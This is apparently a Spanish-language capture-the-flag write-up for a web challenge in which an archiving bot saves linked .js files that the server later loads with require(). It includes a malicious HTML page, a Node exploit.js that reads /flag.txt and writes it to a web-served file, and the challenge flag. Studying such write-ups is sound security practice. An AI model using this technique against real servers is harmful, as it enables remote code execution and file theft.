Skip to main content
Volver a writeups

Writeup técnico

WayWayBack Machine – Batman's Kitchen CTF

---

Batman's Kitchen CTF

Datos del reto

Campo Valor
CTF Batman's Kitchen CTF
Reto WayWayBack Machine
Categoría Web
Contexto "I got tired of having to dig around the internet for old files so I started archiving them myself."
Flag bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}

Descripción del reto

La aplicación recibía una URL, un bot la visitaba y guardaba un snapshot del HTML. Hasta ahí parecía una especie de archivador web casero. El problema era que no solo guardaba la página: también descargaba recursos enlazados y luego los volvía a cargar de una forma bastante peligrosa.


Reconocimiento

Al revisar el flujo, se veía que el servidor parseaba los <link href="..."> del HTML capturado y descargaba cada recurso al directorio snapshots/. Si yo conseguía que archivara una página controlada por mí, también podía hacer que guardara archivos elegidos por mí dentro de ese directorio.

Eso por sí solo ya era interesante, pero la parte crítica aparecía al visitar cualquier snapshot existente.


Análisis

Antes de servir un snapshot, la aplicación recorría el contenido de SNAPSHOTS_DIR y hacía require() de cualquier archivo .js encontrado allí:

async function preloadSnapshotResources() {
  const entries = fs.readdirSync(SNAPSHOTS_DIR, { withFileTypes: true });
  for (const entry of entries) {
    if (path.extname(entry.name) === ".js") {
      require(filePath);
    }
  }
}

Ahí estaba toda la vulnerabilidad. Como el bot descargaba recursos externos al mismo directorio del que luego Node cargaba archivos JavaScript, era posible dejar un .js malicioso en snapshots/ y conseguir ejecución de código en el servidor.

La cadena de ataque quedaba así:

  1. Publicar una página propia con un <link> apuntando a un .js.
  2. Hacer que el bot archive esa página.
  3. Esperar a que el .js quede guardado en snapshots/.
  4. Visitar cualquier snapshot para forzar el require().
  5. Leer /flag.txt y escribirlo en otro archivo accesible desde la web.

Resolución

La página maliciosa podía ser tan simple como esta:

<html>
  <head>
    <link rel="stylesheet" href="/exploit.js">
  </head>
  <body>
    <p>Archiving this page</p>
  </body>
</html>

Y el exploit.js:

const fs = require("fs");
const path = require("path");

try {
  const flag = fs.readFileSync("/flag.txt", "utf8");
  fs.writeFileSync(
    path.join(__dirname, "flag_exfil.html"),
    `<html><body><h1>${flag}</h1></body></html>`
  );
} catch (e) {}

Después solo había que:

  1. Exponer ese contenido en una URL pública.
  2. Enviarla al endpoint que crea snapshots.
  3. Esperar a que el proceso terminara.
  4. Visitar el snapshot para disparar la carga del .js.
  5. Abrir /snapshot/flag_exfil y leer la flag.

Flag

bkctf{m4yb3_1_sh0u1d_st1ck_w1th_4rch1v3_10}